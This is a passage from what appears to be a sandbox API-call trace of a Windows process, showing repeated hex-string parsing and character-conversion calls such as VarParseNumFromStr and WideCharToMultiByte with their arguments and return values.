rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.175] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.176] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.176] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.176] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.176] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.176] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.177] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.177] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.177] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.177] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.178] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.178] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.178] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.178] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.179] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.179] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.179] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.179] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.180] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.180] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.180] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.180] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.181] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.181] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.181] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.181] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.181] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.182] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.182] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.182] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.182] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.183] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.183] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.183] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.183] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.184] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.184] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.184] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.184] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.185] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.185] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.185] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.185] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.186] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.186] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.186] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.186] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 